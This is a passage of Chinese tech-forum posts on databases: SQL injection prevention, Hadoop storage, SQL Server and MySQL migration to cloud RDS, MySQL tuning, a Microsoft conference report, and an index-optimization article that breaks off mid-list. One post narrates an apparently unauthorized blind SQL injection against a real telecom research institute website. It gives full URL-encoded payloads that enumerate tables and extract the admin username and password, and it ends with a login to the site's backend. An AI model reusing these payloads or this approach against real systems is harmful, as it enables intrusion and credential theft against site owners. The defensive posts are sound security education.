-
本帖最后由 guangfu007 于 2018-4-27 15:39 编辑什么是SQL注入? 所谓SQL注入,就是通过把SQL命令**到Web表单提交、输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,来清空、删除数据表,或者**恶意数据等。简单的说就是原有SQL语句被恶意改动是程序执行不符合预期的功能,更改后的SQL语句可能导致信息泄露和数据被篡改、恶意删除等 如何防止SQL注入? 以下几点需要注意: [*]1.记住写代码的时候不要想着用户会按照你的规则输入,要想好怎么处理用户输入不合法的处理,千万别傻傻的相信用户会按照你的规则来,所以必须加以验证!可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等方式。 [*]2.不要使用动态拼装sql,除非你能拼接的SQL是自定义的一些字符和日期之类,推荐使用参数化的sql或者直接使用存储过程进行数据操作。 [*]3.禁止使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。这样就算有SQL注入了也不能执行敏感权限,避免损失。 [*]4.敏感信息加密存储,如账户密码,交易密码、其他敏感信息等采用加密算法存储。 [*]5.应用的异常信息应该加以包装再显示给用户,不要直接暴露给用户。 [*]6.采用工具来检查SQL注入:常用工具有:jsky,MDCSOFT SCAN,MDCSOFT-IPS等。 防止SQL注入主要还是平时编写代码的时候注意,工具只是辅助检测。防止SQL注入就介绍到这,欢迎大家补充。
-
本帖最后由 Sabrina 于 2018-4-3 15:47 编辑 13600 【下午茶时光——云存储知识点陪你喝咖啡】 Hadoop分布式存储与传统SQL存储比较及存储操作描述 Google为了应对快速增长的数据处理,开发了一套算法。后来有人根据算法的思想,开发出开源的软件框架,就是Hadoop,随着越来越多的组织和个人开发者在框架开发中不断贡献改进,Hadoop已经形成一套家族产品,成为当下最成功最流行的分布式大数据处理框架。Hadoop受到很多组织青睐,是因为有两大因素: 一、超大规模的数据处理, 通常 10TB 以上;二、超复杂的计算工作,例如统计和模拟。Hadoop在很多应用场景中发挥着主要功用,如大规模统计、ETL数据挖掘、大数据智能分析、机器学习等。13602Hadoop 和 传统SQL关系数据存储 有什么区别?Hadoop 读时模式(Schema on read),传统SQL是写时模式(Schema on write)。传统数据库存储时对数据进行检查,需要检查表结构定义等必须匹配后才让存储(write),否则就报错。Hadoop 是你拿过任何数据格式我都给你存储,只要你给我读取这些数据的接口程序,在用到这些数据时(read),才会检查。13603左边是Schema on Read , 右边是Schema on Write。右边数据格式不对会报错;左边更关注读数据的规则。Hadoop 是分布式数据库, 而大部分SQL 是集中存储的。举例来讲: 微信后台有可能数千个服务器节点用于存储微信聊天记录,假设我的聊天记录分布在60个不同的服务节点上。而对于关系数据库,会集中在多个表空间中。假如我搜索我的一个聊天记录,Hadoop 会把搜索任务分成多个均衡负载的搜索任务运行在60个节点上。而传统SQL会逐个搜索存储空间,直到全部遍历。如果没有完全搜索完,会返回搜索结果吗? Hadoop的回答是YES,而传统SQL会是NO。Hadoop 家族的产品 Hive,可以让不怎么懂SQL 的客户开发出基本上和SQL同样功能的查询Hadoop 的数据写入、备份、删除操作一、数据写入在客户端想HDFS写数据的过程中,主要分为下面几个过程:[*]客户端将数据缓存到本地的一个临时文件中; [*]当这个本地的临时文件到达HDFS中的块大小限制时,客户端访问Namenode,Namenode将文件的名字**到HDFS命名空间中,并且为其分配相应的存储位置; [*]Namenode与分配好的Datanode进行沟通,确定存储位置可用,然后将这些存储位置信息返回给客户端; [*]客户端将本地的临时文件传输到Datanode中; [*]当写文件结束,临时文件关闭时,会将已有的临时数据传输到Datanode中,并告知Namenode写数据完成; [*]Namenode将该文件改变为持久的一致性状态,也就事将该操作记录到日志EditLog中。如果此时Namenode宕掉,那么文件信息丢失。上面的过程主要特点是写入数据先缓存到本地,在达到块大小限制时才与Datanode通信进行传输。这样的好处在于避免在客户写数据的过程中持续占用网络带宽,这对于处理多用户大量数据的写入是非常关键的。二、数据备份数据的写入同时伴随这数据块的备份,过程如下:[*]在客户端临时数据达到一个块时,与Namenode通信,得到一组Datanode地址,这些Datanode就是用来存储该数据块的; [*]客户端首先将该数据块发送到一个Datanode上,Datanode在接受时是以4kb为单位进行,我们把这些小单位称为缓存页(参考了Linux管道文件的说法); [*]对于第一个接到数据的Datanode,它把缓存页中的数据写入自己的文件系统,另一方面,它又将这些缓存页传送给下一个Datanode; [*]重复3的过程,第二个Datanode又将缓存页存储在本地文件系统,同时将它传送给第三个Datanode; [*]如果HDFS中的备份数目设置为3,那么第三个Datanode就只需要将缓存页存储即可。上面的过程中,数据块从客户端流向第一个Datanode,然后再流向第二个,从第二个再到第三个,整个是一个流水线过程,中间不会有停顿。所以HDFS将它称为Replication Pipelining。为什么不采取客户端同时向多个Datanode写数据的方法呢?其实从Pipelining这个称呼上就可以猜到,客户端和Datanode采用的缓存文件都是管道文件,即只支持一次读取。三、 数据删除HDFS中的数据删除也是比较有特点的,并不是直接删除,而是先放在一个类似回收站的地方(/trash),可供恢复。对于用户或者应用程序想要删除的文件,HDFS会将它重命名并移动到/trash中,当过了一定的生命期限以后,HDFS才会将它从文件系统中删除,并由Namenode修改相关的元数据信息。并且只有到这个时候,Datanode上相关的磁盘空间才能节省出来,也就是说,当用户要求删除某个文件以后,并不能马上看出HDFS存储空间的增加,得等到一定的时间周期以后(现在默认为6小时)。对于备份数据,有时候也会需要删除,比如用户根据需要下调了Replicaion的个数,那么多余的数据备份就会在下次Beatheart联系中完成删除,对于接受到删除操作的Datanode来说,它要删除的备份块也是先放入/trash中,然后过一定时间后才删除。因此在磁盘空间的查看上,也会有一定的延时。那么如何立即彻底删除文件呢,可以利用HDFS提供的Shell命令:bin/hadoop dfs expunge清空/trash。作者:山宏海量 来源:51CTO
-
本帖最后由 天地志鹏 于 2018-1-5 17:00 编辑亲爱的同志们,乡亲们,今天介绍的是如何通过SQL SERVER自带的导入导出功能将本地数据库,ECS实例上的数据库,RDS上的数据库,如何导入到别的实例上。 1.创建一个ECS虚拟机,注意虚拟机跟对应的RDS应在通Region,通VPC下 2.在ECS上安装SQL SERVER 2014,2012,2008版本,至少是标准版,最好跟要还原的目标实例版本一致 3.将本地bak文件上传至ECS服务器端,并通过该ECS上的SQLSERVER服务器进行本地还原 备注:以上三步在你开通EIP或VPN后可直接通过本地实例远程连接到RDS实例进行。 4.通过SQL SERVER自带的脚本生成工具,将ECS上的数据库结构脚本化生成出来,步骤如下:a.选中要生成schema脚本的数据库,点击鼠标右键选择任务-->生成脚本8272b.在导航页中根据提示选择下一步,并确认要导出的对象,可选全部,也可以选择独立对象模块导出8273c.下一步,选择将要导出的文件保存到对应的位置(推荐保存到本机上生成一个SQL 脚本方便保存执行)8274d.同时点击高级按钮进入详细选项页面,根据实际需要选择具体脚本生成规则和相关细节,例如:触发器,索引,唯一键,主键,服务器版本等重要选项。特别注意:脚本Drop 和 Create;要编写脚本的数据的类型两个重要选项8275e.最后点击下一步完成脚本生成 5.将生成的脚本SQL 文件在SSMS上打开,连接到RDS对应实例上,先创建一个空数据库,在通过该脚本在该数据库上创建相关结构。 6.完成以上步骤后通过SQLSERVER自带的导入导出功能完成数据迁移,步骤如下:a.选择要导出数据库的数据库,右键点击选择任务-->导出数据8277b.根据导航选择下一步,在选择数据源里面数据源:选择SQL SERVER Native Client(该选项根据你的数据源类型进行选择)服务器名称:输入数据源实例所在的IP加端口号,如果是本地可以直接输入实例名或者localhost身份验证:选择使用SQL SERVER身份验证,并在下方输入rdsuser账号和密码最后选中你要导出的数据库作为数据源8278c.在选择目标栏目中,一切同上,主要选择数据库的时候要选中要导入的对应数据库,然后点击下一步,选中复制一个或多个表或视图的数据8279d.在选择源表和视图中,根据需要的选择导出的对象进行选中,可通过shift进行多选,注意一般会去掉后面的对应视图。此时如果该对应已经在目标库上创建完则会自动根据名称进行匹配,如果没有则会自动生成初始框架不带索引,外键。8280e.关键来了,全选你要导出的所有对象,再点编辑映射,根据实际需要进行选择,但是至少要选中启用标识**8281f.后面点击下一步开始数据导出导入进度查看,一般效率为4000行/秒 最后总结:在整体流程中架构同步相关的步骤可以是不做的,但是迁移过去的仅包含相关数据;同时如果先做了架构同步后再迁移数据库,数据迁移过程可能会因为架构约束导致失败。所以要不要先同步架构,请大家根据实际情况选择性操作。
-
使用mysqldump将本地数据导出,导入rds MySQL时。导入过程中可能会遇到以下错误:ERROR 1227 (42000) at line 18: Access denied; you need (at least one of) the SUPER privilege(s) for this operation1.问题原因:MySQL导入用户的权限问题。处于安全考虑,rds MySQL的最高权限用户root是没有super权限的,当前自建用户也不能有super权限。但是用户执行导入的sql中,包含需要super权限的语句,所以会报错。如果源库开启了GTID特性,使用mysqldump 导出数据时,没有添加选项--set-gtid-purged=OFF,导出的sql中就有存在以下需要super权限执行的语句:SET @@SESSION.SQL_LOG_BIN= 0;SET @@GLOBAL.GTID_PURGED=´18f9a804-343b-11e5-a21d-b083fed01601:1-2´;2.解决办法办法1:导出语句中添加选项--set-gtid-purged=OFF重新导出,再导入即可。mysqldump -uroot -p -h192.168.0.50 -P8635 --databases test --set-gtid-purged=OFF --master-data=2--single-transaction --order-by-primary -r dump.sql办法2:使用source方式导入,这种方式即使权限问题报错,剩余sql语句仍可继续执行,不影响最终数据。mysql>source /tmp/dump.sql 注意:sql文件的路径和权限
-
1、lower_case_table_names控制数据库名和表名是否区分大小写,如果设置为0,是区分大小写的;设置为1,是不区分大小写的。Rds mysql主库和只读副本该参数需要一致,复制可能导致复制中断。该参数非动态参数,修改需要重启mysql进程。建议将该值设置为1。 2、sql_modeMysql对数据库操作的约束集合。主库和只读副本该参数值必须一致,否则会出现复制中断。例如:STRICT_TRANS_TABLES:在该模式下,如果一个值不能**到一个事务表中,则中断当前的操作,例如值超过字段长度、数据类型不一致等。如果没有设置该模式,上述场景就不会报错。我们建议您不要修改sql_mode参数的值。 3、relay_log_recoverSlave宕机重启后,对relay-log的处理方式。当slave宕机后,假如relay_log损坏,导致一部分中继日志没有处理,则自动放弃所有未执行的relay-log,并且重新从MASTER上索取日志,保证relay的完整性。默认情况下该功能是关闭的。建议在开启此功能。 4、relay_log_info_repository决定从库的重做信息以何种方式保存。FILE:relay-log.info,TABLE: mysql.slave_relay_log_info设置为file,sql线程先提交事务,再记录relay.info文件。假如在relay.info刷盘那一刻宕机,relay.info文件中没有记录,那么从库重启mysql进程后们就会执行两边同样的sql,导致同步复制报错。设置为table,sql线程执行完事务后,立即更新slave_relay_log_info表,如果在更新过程中宕机,则事务会回滚,slave_relay_log_info表并不会记录同步的点,下次重新同步时,从之前的pos点再次执行。我们建议你将该值设置为table. 5、binlog_formatMySQL记录binlog的内容格式。STATEMENT模式(SBR):Binlog记录的只是sql语句。ROW模式(RBR):Binlog记录完成的数据变更记录。MIXED模式(MBR):由mysql决定记录的格式,bug较多,常常造成主从数据不一致。https://dev.mysql.com/doc/refman/5.7/en/binary-log-mixed.html基于RBR的复制是最安全的复制,slave需要的行锁也更少。其他格式可能导致数据不一致。Mysql 5.7可以开启binlog_rows_query_log_events,让binlog记录events的同时,也记录原始SQL.。建议值ROW。 6、log_slave_updates对于MySQL5.6该参数不能设置为OFF,否则备机或只读副本将无法启动。
-
大会网址:https://www.microsoft.com/china/techsummit/2017/whymsts.aspx 主会场介绍:一年过得真快,又到了每年一度的微软技术盛宴,如果说国内有2个大会对于我来说不容错过,第一个是华为的HC大会,第二个一定是它了。遥想2012年以前,微软的年度大会算得上是国内的顶级盛宴,其影响绝对是前三。最近几年虽然被国内的互联公司抢了风采,但随着微软云在世界上综合影响力的提升,我们越来越难以忽视微软正在通过Azure改变着云计算的生态模式(微软云2017年每季度净利润同比增长率平均在90%以上!)。 华为HC大会是为了推广自己的RDS SQL SERVER产品;而微软是我的导师,此去是为了明确未来RDS SQL SERVER 技术的发展方向。 根据我去年的报道和对微软云的评估,依然小看了这家传统巨头的潜力,在明确了主航道,确认了新方向之后,微软正在以势不可挡的姿态一年超越谷歌,两年看齐亚马逊的速度震惊业界(跟我司的口号真像!)。从整体思路来看微软很可能成为云计算界的IOS,而亚马逊则是Android(纯属个人意见)。 言归正传,如果去年Azure是主场,则今年就是专场了,微软的传统产品如果不倚云而生则活不下去(Dynamic 365已经上线了)。 但是有一个重大的转变正在发生!去年摩拜在主会场上去Bibi了15分钟,而今年只有2分30秒的简单介绍,并且,微软今年邀请站台的公司全是传统企业,其中包括我司!不搞小鲜肉了,这里面深层的微软中国Azure策略令人细思极恐,以微软深耕多年的尿性,怕是要狼来了。如果说2017年我们推广的最大阻塞是阿里,那明年可能就会加上微软了。 时根据现场各合作商的推广介绍,可以明确的分为三类:1.基于微软产品的定制商,微软传统产品目前已经全部上云,所以这些定制服务和产品都具有强大的微软基因,算是铁粉;2.基于微软Azure的三方Saas服务开发商,这些公司基于微软云的平台,快速开发部署自己的应用,倚云而生但是可以跳槽,可以考虑华为云接入合作(后面我会将再会企业进行分类列出),但一般都是新兴公司体量较小,恐难入我司法眼;3.最后是给微软云做解决方案的供应商,这些公司主要给传统企业迁移上云做咨询,做方案,也接项目,有奶就是娘,而这些企业也是华为可以主要*** 团结并付诸发展的好下线,毕竟利益均分才是生态发展的好道路,可以重点考虑接洽。 虽然云是主场,整个后面的分会场主题演讲都是基于云平台进行的开发,维护,行业解决方案,安全部署,成功案例,blah, blah, blah…但是,其中BI & AI可以看到是本次大会的主题重点,AI可以很好理解是风口;那BI这个老名词主要面对的就是我们广大的企业用户拉,可见微软和阿里今年都把目光瞄向了中国的传统企业,传统才是大肥肉啊,小鲜肉活不长滴。 后续主要参会课题总结如下:SQL SERVER 2017 新特性,我的本职工作肯定要参与,新特性如下:1.支持图数据库,不过仅是逻辑层的关系创建,在查询上并不比传统关系查询性能高,是个鸡肋。2.索引重建支持断点续传了,恩越来越像迅雷了3.AI上面支持R & Python,恩这算是进步,不过目前没几个人玩的溜4.对Linux有更好的支撑,好吧他自己也说Linux版本不支持SSIS,SSRS,SSAS,还有很多服务不支持,仅有基本的SQL Engine准备好了,容器劝我们别上正式环境,我懂了5.不过总算还有一个亮点让我聊以*** ,SQL 2017查询优化引擎支持自适应AI分析功能,简单来说以前就3秒的查询语句,在你多次执行后可能变成2.9秒,2.8秒,神奇不!不过用久了不维护依然会变慢,AI&数据库引擎的集成的确是一个不错的发展方向,大家重点关照下。总结:2017没撒新玩意,目测是为了补上SQL2016在Linux上埋的坑,好吧我的小目标达成了,SQL 2017仍然只能在Windows上搭建,容器化目前技术尚不成熟。 微软云容灾介绍:主要是拿传统容灾和云环境容灾优劣进行对比,并没有跟友商横向对比,好吧你当然赢了,但并没有什么鸟用,看来微软云的容灾上也没撒特点。 给阿里云用户的一堂 Azure 课:听这个名字我以为微软有态度要表达,结果...只是呼吁大家别屌丝在一棵树上,用用微软云也挺好,我们的解决方案萌萌哒...你能有点狼性吗(#‵′)凸 后面主要参加了一系列的AI相关课程:主要是讲微软给新创AI公司,提供平台,提供技术,提供代金卷,提供XXX,总之微软让大家人人都能AI,记得以前是人人都能大数据,再之前是人人都能BI,再之前是…总之这个套路真好用。最后我们看到AI与数据库引擎,可以碰撞出很多智慧的火花,前有AWS数据库场景适配性能提升服务;现有SQL SERVER AI智能查询优化;我们试想是不是可以通过深度建模训练,直接根据用户的数据库实例历史记录给出最佳参数模型呢? 好吧去年微软是拼命自己的命;今年别人已经准备开始革我们的命了 云计算正式进入下半场,从事务发展的辩证理论上来看,奇点正在靠近,请华为做好迎接前方高能的准备。
-
本帖最后由 韦伯。斯凯恩 于 2017-11-1 09:08 编辑由于论坛发帖不允许部分代码,因此帖子采用截图的方式,哎.4106 虽然SQL注入猛如虎,但是各位小伙伴不要惊慌, 华为云WAF一键开启防护,多重编码还原和基于SQL语义分析的检测引擎能够更加精准识别SQL注入, 有效帮助小伙伴们拦截恶意攻击. 华为云Web漏洞扫描安全服务支持SQL注入漏洞检测,帮助小伙伴更早发现网站安全隐患, 能够让用户更早采取防御或者修复措施,避免漏洞被利用造成的重大损失.参考[1] OWASP SQL注入防护手册(英文)
-
近日,微软 SQL Server 最近达成一个新的里程碑,最新版SQL Server 2017 除了支持 Windows 平台,将首次登陆 Linux 平台,并且还支持 Docker。此举让用户(特别是企业用户)有了更多选择。2016 年 6 月份,微软就提前预告 SQL Server 将支持 Linux 平台近年来, SQL Server 正在一直演化,除了想一改 DMS(数据库管理系统)的角色,还想介入到数据分析、机器学习和数据科学领域。2017 年 4 月份, SQL Server 发布了一个重要组件,支持在 SQL Server 中用 Python 运行机器学习负载。借助这个特性,数据科学家直接操作处理储存在 SQL Server 的数据,不用数据迁移了。机器学习/数据科学领域内的另一种编程语言 R,SQL Server 在去年就整合了。更多细节,见 SQL Server 官方:https://www.microsoft.com/en-us/sql-server/sql-server-2017参考:VentureBeta、SQL Server
人生苦短,我用Python
发表于2017-09-28 15:43:11
2017-09-28 15:43:11
最后回复
人生苦短,我用Python
2017-09-28 15:43:11
3109 0 -
[color=rgb(85,85,85)]某网站安全检测之数据库手工注入 [color=rgb(85,85,85)]一、引子 长夜慢慢,无心睡眠……[color=rgb(85,85,85)] 无意中翻到几年前听的一首名为《祖先的阴影》的摇滚,这么长久的历史,混合着许多的罪恶与功绩;这么“灿烂的文化”,夹杂着太多的愚昧与文明。美好的,如汉字,围棋古筝,诗词曲赋等;糟糕的,如一辈子只会干“杀尽叛贼、占据王位,选好王妃,建造坟堆”四件事的皇帝及官僚制度,小脚,太监及八股文等等。[color=rgb(85,85,85)] 噢,且慢,八股文——不要言之过早!今天,让我用八股文这一旧瓶,来包装一下IT方面的新酒;把数据库注入这一有几个年头的安全技术,再写一篇略有新意的文章。 [color=rgb(85,85,85)]二、概要[color=rgb(85,85,85)] 所谓数据库注入,也就是SQL Injection,就是攻击者把SQL命令**到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。来自官方的说法是:“当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。”在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入攻击。而许多网站程序在编写时,没有对用户输入数据的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样用户就可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入产生了。其实简单点说,SQL注入的原理就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。[color=rgb(85,85,85)] 当然,能不能构造、构造什么样的数据库查询代码,就有是菜鸟和高手的区别了;同时我向大伙保证:我绝不是高手——我基本上连数据库都不会用,所以大伙看了文章后不要问我太多太深的问题,因为我也不知道。 [color=rgb(85,85,85)]三、检测[color=rgb(85,85,85)] 查找资料的过程中,被链接到某电信技术研究院网站,看了一下首页代码及链接,用and和or简单测试了一下,没发现什么,在最后快要放弃的时候,发现如下页面有点意思。[color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)]1=1(不正常)[color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)]1=2(也不正常)[color=rgb(85,85,85)]加一个特殊符号,则如下图示。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)](返回正常) [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)](返回异常)[color=rgb(85,85,85)] 嘿嘿,存在注入,心花怒放! [color=rgb(85,85,85)]四、暴库[color=rgb(85,85,85)] 上面就可以知道该网站后台数据库是MS SQL Server。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)](select count(*) from [sysobjects])>=0(返回正常,可见数据库为SQL Server)[color=rgb(85,85,85)] 探测该网站数据库实例名,我很幸运,竟然通过错误暴出来,请看下图。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)]SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交错误,网站也报错,看红色下划线处和红色长方形里,可见数据库实例名为jstrd。 [color=rgb(85,85,85)]五、寻表 漫长而痛苦的工作开始了,同时因为在创建一个数据库的同时,系统会自动建立一些系统表,我构造了如下的语句,来探测数据库实例jstrd中的表名。[color=rgb(85,85,85)] 限于篇幅的缘故我在这里只介绍与应用实例有关的一个系统表(SYSOBJECTS)及其相关的字段。[color=rgb(85,85,85)] 表SYSOBJECTS为数据库内创建的每个对象(约束,规则,表,视图,触发器等)创建一条记录。该表相关字段的含义如下:[color=rgb(85,85,85)] SYSOBJECTS.name 对象名,如:表名,视图名。[color=rgb(85,85,85)] SYSOBJECTS.id 对象id。[color=rgb(85,85,85)] SYSOBJECTS.type 对象类型(p存储过程,v视图,s系统表,u用户表)。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)] 太帅了,返回正确,提交的“系统态”语句是:[color=rgb(85,85,85)] http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1[color=rgb(85,85,85)] 翻译成我们容易识别的“用户态”(以后都用这种形式表示)是:[color=rgb(85,85,85)] http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))=67)>0 and ´1´=´1&classid=1[color=rgb(85,85,85)] 或许各位要懵了,这都是些什么东西啊,乱七八糟的?我笑而不答,谜底将在后面揭开。但事先点一下:[color=rgb(85,85,85)] xtype是那张表的一个字段,xtype=char(117) 也就是xtype=´U´ 意思是取用户的表。空格(Space)的ASCII编码是32。[color=rgb(85,85,85)] 历经多次的失败后,在如下语句输入时,探测到我认为是存储用户名和密码的一张表(之前也探测到别的表,但我认为对自己没有用。并且要说一下的是当我探测到有TblAd之后,我直觉得加上了TblAdmin;后来发现还没完,有TblAdminUs之后,我直觉得加上了TblAdminUser)。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)] http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and ´1´=´1&classid=1[color=rgb(85,85,85)] 可见有TblAdminUser这么一张表,我们可以再测试一下,如下图。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)]and (select count(*) from TblAdminUser)>0 [color=rgb(85,85,85)]六、探列 各位看到这里,上面的谜底很可能都明白了。什么,还有不明白的!那好,告诉你:网站及后台系统理会我上面所说的“系统态”,不理会“用户态”。你们看看如下两个表。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)](部分Unicode编码表) [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)](部分ASCII编码表)[color=rgb(85,85,85)] 刚才寻到了表,现在我们的工作是探列了,综合运用上面提到过的知识,加上我的直觉猜测里面应该就有username和password两个列,果然!请看下图。[color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)] http://*/show_products.asp?id=22´and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and ´1´=´1&classid=1 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)] http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and ´1´=´1&classid=1 [color=rgb(85,85,85)]七、结果 冲锋的号角已经响起,胜利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在这。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)] http://*/show_products.asp?id=22´%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20´1´=´1&classid=1[color=rgb(85,85,85)] 可见username列中,第一个字符是a (ASCII编码为97),很快,就猜测到了是admin。[color=rgb(85,85,85)] 判断password列中,第一个字符应该在g之后,如下图示。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)] [color=rgb(1,95,145)]http://*/show_products.asp?id=22´ (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and ´1´=´1&classid=1and[color=rgb(85,85,85)] 很快,就猜到了是j,呵呵,有点意思。如下图示。 [color=rgb(85,85,85)][color=rgb(1,95,145)][color=rgb(85,85,85)] http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and ´1´=´1&classid=1 历经千辛万苦后,我终于找到了全部密码,竟然是*********[color=rgb(85,85,85)] 轻松找到后台,登陆,果然正确!如下图示。 [color=rgb(85,85,85)][color=rgb(1,95,145)] [color=rgb(85,85,85)]八、尾声 因为这份文档主要侧重数据库手工注入,所以注入成功获得网站控制权后的进一步渗透不作介绍。在这里,是我抛出一块破砖,引大伙收获更多的良玉。个人感觉,注入能成功,得益于以下三点:[color=rgb(85,85,85)] 1、Unicode编码和ASCII编码的应用;[color=rgb(85,85,85)] 2、系统会自动建立的系统表sysobjects的应用;[color=rgb(85,85,85)] 3、db_name最大长度128的应用,加上一些直觉判断。[color=rgb(85,85,85)] 整个过程,耗了近一个星期的业余时间,此时,又是一个深夜……[color=rgb(85,85,85)] 夜色沉沉,睡意浓浓。[color=rgb(85,85,85)]原创作品,允许转载,转载请联系后台管理员
-
本帖最后由 HW Developer 于 2017-9-7 09:54 编辑1、 引言数据库几乎是所有的系统都离不开的,对于一般的小型应用来说,很少有开发人员会在数据库上花费太多的精力;但是在实际业务中我们却发现,在一个快速增长的web系统中,最先成为性能瓶颈的往往就是数据库,有时候我们不得不在数据库的优化上花费大量的时间。在数据库的诸多优化手段中,索引的正确使用和优化是非常关键的一部分;下面将以MySQL数据库为例,系统的介绍一下索引的一般结构和优化方法;虽然在不同数据库下,细节可能会有些差异,但是道理都是通用的。2、 索引概述2.1 索引的类型 数据库中的索引类型有多种划分方式;按照其中所包含的字段数量,那么索引可分为单索引和组合索引(又叫复合索引)两种;单索引是指只包含单个字段的索引,组合索引顾名思义就是多个字段组合在一起的索引;如果按照索引中所包含的字段类型来分,则可以分为主键索引和辅助索引;主键索引当然就是在主键上创建的索引,辅助索引则是在主键以外的其他字段上创建的索引;如果按照索引节点与物理记录的对应方式来分,则可分为**索引和非**索引,前者是指索引节点中直接包含了数据记录的索引方式,也即是说,整张表的记录顺序都是按照索引结构来组织的;而后者的索引节点中,只包含一个指向物理记录的指针(地址);在MySQL中,不同的存储引擎索引结构也不太一样;比如MyISAM存储引擎中,不管是主键索引还是辅助索引,都属于非**索引;而在Innodb引擎中,主键索引属于**索引,非主键索引则采用了非**索引的方式,也就是二级索引。后面将会详细介绍MySQL中索引的存储结构和查找原理;2.2 索引的实现 常用的数据查找方式有三种:顺序查找、Hash查找和Tree查找;这三种类型中,顺序查找最简单,但是速度也最慢,在大数据量下无法使用;而hash查找虽然快速,而且无论数据量多大,只要算法合适,基本上可以做到O(n)复杂度,其中n=数据条数/冲突域长度;但是它有一个最大的缺点就是不支持范围查找;这在关系型数据库的sql规范中是不能接受的;如果使用树型结构,则支持遍历,支持范围查找;而对于二叉树来讲,其效率可做到log(n),而且性能也不会随着数据量的快速增长而下降太多,是比较理想的数据索引结构。2.3 索引的作用方式 在不使用索引时,系统会对整张表的数据进行扫描;一般是通过主键进行遍历(有的表可能连主键都没有,则会按照记录存放的物理顺序遍历),取出每一条记录,然后判断对应的字段值是否满足需求,如果满足,则添加到结果集里;如果不满足,则继续扫描后续记录;在应用了索引的情况下,如果查询条件只有一个时,情况很简单,系统会去扫描对应索引,找到目标记录(和通过主键查找差不多,主要的区别就是索引上可能没有唯一性约束,所以在找到第一条记录后,还需要继续向后取出链上符合条件的其他记录)。但是当查询条件多余一个时,情况会稍微复杂一点;下面我们以包含两个查询条件的情况进行说明;假如我们在一张名为test的表上执行以下查询语句:select * from test where a=1 and b=2;这时候可能的查询方案共有三种:1. 直接取出满足a=1和b=2的记录;2. 同时取出a=1和b=2的记录,然后二者进行merge;3. 先取出a=1的记录,然后在这些记录里筛选出b=2的记录;4. 